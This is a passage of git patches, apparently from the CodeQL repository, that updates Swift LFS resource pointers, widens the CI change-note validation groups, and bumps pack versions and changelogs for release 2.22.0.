aaacc64a9e80..678fb09a8b7b 100644 --- a/swift/third_party/resources/resource-dir-macos.zip +++ b/swift/third_party/resources/resource-dir-macos.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:84e34d6af45883fe6d0103c2f36bbff3069ac068e671cb62d0d01d16e087362d -size 595760699 +oid sha256:9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42 +size 593013753 diff --git a/swift/third_party/resources/swift-prebuilt-linux.tar.zst b/swift/third_party/resources/swift-prebuilt-linux.tar.zst index 206ea6adb4de..6efea3475860 100644 --- a/swift/third_party/resources/swift-prebuilt-linux.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-linux.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:31cba2387c7e1ce4e73743935b0db65ea69fccf5c07bd2b392fd6815f5dffca5 -size 124428345 +oid sha256:abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4 +size 124406561 diff --git a/swift/third_party/resources/swift-prebuilt-macos.tar.zst b/swift/third_party/resources/swift-prebuilt-macos.tar.zst index bcbc7aaf4129..ca29f3ebd3f1 100644 --- a/swift/third_party/resources/swift-prebuilt-macos.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-macos.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:2aaf6e7083c27a561d7212f88b3e15cbeb2bdf1d2363d310227d278937a4c2c9 -size 104357336 +oid sha256:417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152 +size 104344626 From 9f60335b66759ed9a23e28412ea3d4235dde7c54 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Mon, 9 Jun 2025 08:47:46 -0700 Subject: [PATCH 534/535] CI: Expand list of packs/languages for change note validation --- .github/workflows/validate-change-notes.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/validate-change-notes.yml b/.github/workflows/validate-change-notes.yml index 3c83ffa709a5..42784b661fcc 100644 --- a/.github/workflows/validate-change-notes.yml +++ b/.github/workflows/validate-change-notes.yml @@ -31,4 +31,4 @@ jobs: - name: Fail if there are any errors with existing change notes run: | - codeql pack release --groups cpp,csharp,java,javascript,python,ruby,-examples,-test,-experimental + codeql pack release --groups actions,cpp,csharp,go,java,javascript,python,ruby,shared,swift -examples,-test,-experimental From 88ba02edf8b08d8862cd4b960866db8d6cf3871a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 9 Jun 2025 18:14:51 +0000 Subject: [PATCH 535/535] Release preparation for version 2.22.0 --- actions/ql/lib/CHANGELOG.md | 4 ++++ actions/ql/lib/change-notes/released/0.4.11.md | 3 +++ actions/ql/lib/codeql-pack.release.yml | 2 +- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/CHANGELOG.md | 4 ++++ actions/ql/src/change-notes/released/0.6.3.md | 3 +++ actions/ql/src/codeql-pack.release.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/CHANGELOG.md | 6 ++++++ .../{2025-05-28-using-template.md => released/5.1.0.md} | 7 ++++--- cpp/ql/lib/codeql-pack.release.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/CHANGELOG.md | 4 ++++ cpp/ql/src/change-notes/released/1.4.2.md | 3 +++ cpp/ql/src/codeql-pack.release.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md | 4 ++++ .../Solorigate/lib/change-notes/released/1.7.42.md | 3 +++ csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/CHANGELOG.md | 4 ++++ .../Solorigate/src/change-notes/released/1.7.42.md | 3 +++ csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/CHANGELOG.md | 4 ++++ csharp/ql/lib/change-notes/released/5.1.8.md | 3 +++ csharp/ql/lib/codeql-pack.release.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/CHANGELOG.md | 4 ++++ csharp/ql/src/change-notes/released/1.2.2.md | 3 +++ csharp/ql/src/codeql-pack.release.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/CHANGELOG.md | 4 ++++ go/ql/consistency-queries/change-notes/released/1.0.25.md | 3 +++ go/ql/consistency-queries/codeql-pack.release.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/CHANGELOG.md | 6 ++++++ .../4.2.7.md} | 7 ++++--- go/ql/lib/codeql-pack.release.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/CHANGELOG.md | 6 ++++++ .../1.3.0.md} | 7 ++++--- go/ql/src/codeql-pack.release.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/CHANGELOG.md | 4 ++++ java/ql/lib/change-notes/released/7.3.1.md | 3 +++ java/ql/lib/codeql-pack.release.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/CHANGELOG.md | 4 ++++ java/ql/src/change-notes/released/1.5.2.md | 3 +++ java/ql/src/codeql-pack.release.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/CHANGELOG.md | 6 ++++++ .../2.6.5.md} | 7 ++++--- javascript/ql/lib/codeql-pack.release.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/CHANGELOG.md | 4 ++++ javascript/ql/src/change-notes/released/1.6.2.md | 3 +++ javascript/ql/src/codeql-pack.release.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/CHANGELOG.md | 4 ++++ misc/suite-helpers/change-notes/released/1.0.25.md | 3 +++ misc/suite-helpers/codeql-pack.release.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/CHANGELOG.md | 4 ++++ python/ql/lib/change-notes/released/4.0.9.md | 3 +++ python/ql/lib/codeql-pack.release.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/CHANGELOG.md | 6 ++++++ .../{2025-05-26-pandas-sqli-sinks.md => released/1.5.2.md} | 7 ++++--- python/ql/src/codeql-pack.release.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/CHANGELOG.md | 4 ++++ ruby/ql/lib/change-notes/released/4.1.8.md | 3 +++ ruby/ql/lib/codeql-pack.release.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/CHANGELOG.md | 4 ++++ ruby/ql/src/change-notes/released/1.3.2.md | 3 +++ ruby/ql/src/codeql-pack.release.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/CHANGELOG.md | 4 ++++ rust/ql/lib/change-notes/released/0.1.10.md | 3 +++ rust/ql/lib/codeql-pack.release.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/CHANGELOG.md | 4 ++++ rust/ql/src/change-notes/released/0.1.10.md | 3 +++ rust/ql/src/codeql-pack.release.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/CHANGELOG.md | 4 ++++ shared/controlflow/change-notes/released/2.0.9.md | 3 +++ shared/controlflow/codeql-pack.release.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/CHANGELOG.md | 4 ++++ shared/dataflow/change-notes/released/2.0.9.md | 3 +++ shared/dataflow/codeql-pack.release.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/CHANGELOG.md | 4 ++++ shared/mad/change-notes/released/1.0.25.md | 3 +++ shared/mad/codeql-pack.release.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/CHANGELOG.md | 4 ++++ shared/quantum/change-notes/released/0.0.3.md | 3 +++ shared/quantum/codeql-pack.release.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/CHANGELOG.md | 4 ++++ shared/rangeanalysis/change-notes/released/1.0.25.md | 3 +++ shared/rangeanalysis/codeql-pack.release.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/CHANGELOG.md | 4 ++++ shared/regex/change-notes/released/1.0.25.md | 3 +++ shared/regex/codeql-pack.release.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/CHANGELOG.md | 4 ++++ shared/ssa/change-notes/released/2.0.1.md | 3 +++ shared/ssa/codeql-pack.release.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/CHANGELOG.md | 4 ++++ shared/threat-models/change-notes/released/1.0.25.md | 3 +++ shared/threat-models/codeql-pack.release.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/CHANGELOG.md | 4 ++++ shared/tutorial/change-notes/released/1.0.25.md | 3 +++ shared/tutorial/codeql-pack.release.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/CHANGELOG.md | 4 ++++ shared/typeflow/change-notes/released/1.0.25.md | 3 +++ shared/typeflow/codeql-pack.release.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/CHANGELOG.md | 4 ++++ shared/typeinference/change-notes/released/0.0.6.md | 3 +++ shared/typeinference/codeql-pack.release.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/CHANGELOG.md | 4 ++++ shared/typetracking/change-notes/released/2.0.9.md | 3 +++ shared/typetracking/codeql-pack.release.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/CHANGELOG.md | 4 ++++ shared/typos/change-notes/released/1.0.25.md | 3 +++ shared/typos/codeql-pack.release.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/CHANGELOG.md | 4 ++++ shared/util/change-notes/released/2.0.12.md | 3 +++ shared/util/codeql-pack.release.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/CHANGELOG.md | 4 ++++ shared/xml/change-notes/released/1.0.25.md | 3 +++ shared/xml/codeql-pack.release.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/CHANGELOG.md | 4 ++++ shared/yaml/change-notes/released/1.0.25.md | 3 +++ shared/yaml/codeql-pack.release.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/CHANGELOG.md | 6 ++++++ .../{2025-06-05-swift.6.1.2.md => released/5.0.1.md} | 7 ++++--- swift/ql/lib/codeql-pack.release.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/CHANGELOG.md | 4 ++++ swift/ql/src/change-notes/released/1.1.5.md | 3 +++ swift/ql/src/codeql-pack.release.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 160 files changed, 378 insertions(+), 98 deletions(-) create mode 100644 actions/ql/lib/change-notes/released/0.4.11.md create mode 100644 actions/ql/src/change-notes/released/0.6.3.md rename cpp/ql/lib/change-notes/{2025-05-28-using-template.md => released/5.1.0.md} (82%) create mode 100644 cpp/ql/src/change-notes/released/1.4.2.md create mode 100644 csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md create mode 100644 csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md create mode 100644 csharp/ql/lib/change-notes/released/5.1.8.md create mode 100644 csharp/ql/src/change-notes/released/1.2.2.md create mode 100644 go/ql/consistency-queries/change-notes/released/1.0.25.md rename go/ql/lib/change-notes/{2025-05-22-bigquery-client-query-sql-injection.md => released/4.2.7.md} (72%) rename go/ql/src/change-notes/{2025-05-01-html-template-escaping-bypass-xss.md => released/1.3.0.md} (93%) create mode 100644 java/ql/lib/change-notes/released/7.3.1.md create mode 100644 java/ql/src/change-notes/released/1.5.2.md rename javascript/ql/lib/change-notes/{2025-05-30-url-package-taint-step.md => released/2.6.5.md} (74%) create mode 100644 javascript/ql/src/change-notes/released/1.6.2.md create mode 100644 misc/suite-helpers/change-notes/released/1.0.25.md create mode 100644 python/ql/lib/change-notes/released/4.0.9.md rename python/ql/src/change-notes/{2025-05-26-pandas-sqli-sinks.md => released/1.5.2.md} (58%) create mode 100644 ruby/ql/lib/change-notes/released/4.1.8.md create mode 100644 ruby/ql/src/change-notes/released/1.3.2.md create mode 100644 rust/ql/lib/change-notes/released/0.1.10.md create mode 100644 rust/ql/src/change-notes/released/0.1.10.md create mode 100644 shared/controlflow/change-notes/released/2.0.9.md create mode 100644 shared/dataflow/change-notes/released/2.0.9.md create mode 100644 shared/mad/change-notes/released/1.0.25.md create mode 100644 shared/quantum/change-notes/released/0.0.3.md create mode 100644 shared/rangeanalysis/change-notes/released/1.0.25.md create mode 100644 shared/regex/change-notes/released/1.0.25.md create mode 100644 shared/ssa/change-notes/released/2.0.1.md create mode 100644 shared/threat-models/change-notes/released/1.0.25.md create mode 100644 shared/tutorial/change-notes/released/1.0.25.md create mode 100644 shared/typeflow/change-notes/released/1.0.25.md create mode 100644 shared/typeinference/change-notes/released/0.0.6.md create mode 100644 shared/typetracking/change-notes/released/2.0.9.md create mode 100644 shared/typos/change-notes/released/1.0.25.md create mode 100644 shared/util/change-notes/released/2.0.12.md create mode 100644 shared/xml/change-notes/released/1.0.25.md create mode 100644 shared/yaml/change-notes/released/1.0.25.md rename swift/ql/lib/change-notes/{2025-06-05-swift.6.1.2.md => released/5.0.1.md} (50%) create mode 100644 swift/ql/src/change-notes/released/1.1.5.md diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 466440c3e33a..53bf91737130 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.4.11 + +No user-facing changes. + ## 0.4.10 No user-facing changes. diff --git a/actions/ql/lib/change-notes/released/0.4.11.md b/actions/ql/lib/change-notes/released/0.4.11.md new file mode 100644 index 000000000000..d29b796a245f --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.11.md @@ -0,0 +1,3 @@ +## 0.4.11 + +No user-facing changes. diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml index e0c0d3e4c2ae..80a4283b3e47 100644 --- a/actions/ql/lib/codeql-pack.release.yml +++ b/actions/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.4.10 +lastReleaseVersion: 0.4.11 diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 7a7de08379b1..5919efe3b678 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.11-dev +version: 0.4.11 library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index 687df395d28b..3140211bc4ad 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.6.3 + +No user-facing changes. + ## 0.6.2 ### Minor Analysis Improvements diff --git a/actions/ql/src/change-notes/released/0.6.3.md b/actions/ql/src/change-notes/released/0.6.3.md new file mode 100644 index 000000000000..83374bcef56f --- /dev/null +++ b/actions/ql/src/change-notes/released/0.6.3.md @@ -0,0 +1,3 @@ +## 0.6.3 + +No user-facing changes. diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml index 5501a2a1cc59..b7dafe32c5d8 100644 --- a/actions/ql/src/codeql-pack.release.yml +++ b/actions/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.6.2 +lastReleaseVersion: 0.6.3 diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 3d1ae2cb47fb..9e45e764edef 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.3-dev +version: 0.6.3 library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md index 67339c22ef0b..c46ab0044646 100644 --- a/cpp/ql/lib/CHANGELOG.md +++ b/cpp/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 5.1.0 + +### New Features + +* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. + ## 5.0.0 ### Breaking Changes diff --git a/cpp/ql/lib/change-notes/2025-05-28-using-template.md b/cpp/ql/lib/change-notes/released/5.1.0.md similarity index 82% rename from cpp/ql/lib/change-notes/2025-05-28-using-template.md rename to cpp/ql/lib/change-notes/released/5.1.0.md index 7c13e1ae0ee1..b7da377062fe 100644 --- a/cpp/ql/lib/change-notes/2025-05-28-using-template.md +++ b/cpp/ql/lib/change-notes/released/5.1.0.md @@ -1,4 +1,5 @@ ---- -category: feature ---- +## 5.1.0 + +### New Features + * Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml index c9e54136ca5c..dd8d287d0103 100644 --- a/cpp/ql/lib/codeql-pack.release.yml +++ b/cpp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.0.0 +lastReleaseVersion: 5.1.0 diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index 28c6da0c865c..5d1966180cc4 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 5.0.1-dev +version: 5.1.0 groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md index 49bf1f975eea..4edd493015a3 100644 --- a/cpp/ql/src/CHANGELOG.md +++ b/cpp/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.4.2 + +No user-facing changes. + ## 1.4.1 ### Minor Analysis Improvements diff --git a/cpp/ql/src/change-notes/released/1.4.2.md b/cpp/ql/src/change-notes/released/1.4.2.md new file mode 100644 index 000000000000..37be01f40d98 --- /dev/null +++ b/cpp/ql/src/change-notes/released/1.4.2.md @@ -0,0 +1,3 @@ +## 1.4.2 + +No user-facing changes. diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml index 43ccf4467bed..a76cacdf7997 100644 --- a/cpp/ql/src/codeql-pack.release.yml +++ b/cpp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.4.1 +lastReleaseVersion: 1.4.2 diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index bdef1897e302..52f0f08a4c55 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.2-dev +version: 1.4.2 groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md index 0a441eeacb20..127bb19bbc64 100644 --- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.42 + +No user-facing changes. + ## 1.7.41 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md new file mode 100644 index 000000000000..baf988260210 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml index 2eee1633d769..8317cee0ddb3 100644 --- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.41 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index cd4f81e57d69..212ac56d39d6 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.42-dev +version: 1.7.42 groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md index 0a441eeacb20..127bb19bbc64 100644 --- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.42 + +No user-facing changes. + ## 1.7.41 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md new file mode 100644 index 000000000000..baf988260210 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml index 2eee1633d769..8317cee0ddb3 100644 --- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.41 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 75b5716c2326..16bf35874035 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.42-dev +version: 1.7.42 groups: - csharp - solorigate diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md index 1fcecc7f8e9b..5eeedc6f77be 100644 --- a/csharp/ql/lib/CHANGELOG.md +++ b/csharp/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 5.1.8 + +No user-facing changes. + ## 5.1.7 ### Minor Analysis Improvements diff --git a/csharp/ql/lib/change-notes/released/5.1.8.md b/csharp/ql/lib/change-notes/released/5.1.8.md new file mode 100644 index 000000000000..9e1ff36f31f5 --- /dev/null +++ b/csharp/ql/lib/change-notes/released/5.1.8.md @@ -0,0 +1,3 @@ +## 5.1.8 + +No user-facing changes. diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml index f26524e1fd9a..8ffbb79d2249 100644 --- a/csharp/ql/lib/codeql-pack.release.yml +++ b/csharp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.1.7 +lastReleaseVersion: 5.1.8 diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 8404a7c29a67..84b613c84979 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.8-dev +version: 5.1.8 groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md index b2384df0d06f..4eabf64f6a57 100644 --- a/csharp/ql/src/CHANGELOG.md +++ b/csharp/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.2.2 + +No user-facing changes. + ## 1.2.1 ### Minor Analysis Improvements diff --git a/csharp/ql/src/change-notes/released/1.2.2.md b/csharp/ql/src/change-notes/released/1.2.2.md new file mode 100644 index 000000000000..7b520f6c258f --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.2.md @@ -0,0 +1,3 @@ +## 1.2.2 + +No user-facing changes. diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml index 73dd403938c9..0a70a9a01a7e 100644 --- a/csharp/ql/src/codeql-pack.release.yml +++ b/csharp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.1 +lastReleaseVersion: 1.2.2 diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index df26e2790d38..24cacd047ce0 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.2-dev +version: 1.2.2 groups: - csharp - queries diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md index a684ef060a5c..3fa1fa4c69be 100644 --- a/go/ql/consistency-queries/CHANGELOG.md +++ b/go/ql/consistency-queries/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.25.md b/go/ql/consistency-queries/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/go/ql/consistency-queries/codeql-pack.release.yml +++ b/go/ql/consistency-queries/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index ba1482c81255..aaa9a44cb15c 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.25-dev +version: 1.0.25 groups: - go - queries diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index 58e70d0c2bd8..879662575e20 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 4.2.7 + +### Minor Analysis Improvements + +* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. + ## 4.2.6 No user-facing changes. diff --git a/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md b/go/ql/lib/change-notes/released/4.2.7.md similarity index 72% rename from go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md rename to go/ql/lib/change-notes/released/4.2.7.md index 49d040dc4096..118b032c018d 100644 --- a/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md +++ b/go/ql/lib/change-notes/released/4.2.7.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 4.2.7 + +### Minor Analysis Improvements + * The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml index 2005a7a7f17d..0c0ee7d4dfd5 100644 --- a/go/ql/lib/codeql-pack.release.yml +++ b/go/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.2.6 +lastReleaseVersion: 4.2.7 diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 09e8ba0d0271..6cf364479830 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.7-dev +version: 4.2.7 groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index 794f600ad3e0..b711743ccc9a 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.3.0 + +### New Queries + +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . + ## 1.2.1 ### Minor Analysis Improvements diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/released/1.3.0.md similarity index 93% rename from go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md rename to go/ql/src/change-notes/released/1.3.0.md index dc86e5b869d0..fe0c5a7af3c4 100644 --- a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md +++ b/go/ql/src/change-notes/released/1.3.0.md @@ -1,4 +1,5 @@ ---- -category: newQuery ---- +## 1.3.0 + +### New Queries + * Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml index 73dd403938c9..ec16350ed6fd 100644 --- a/go/ql/src/codeql-pack.release.yml +++ 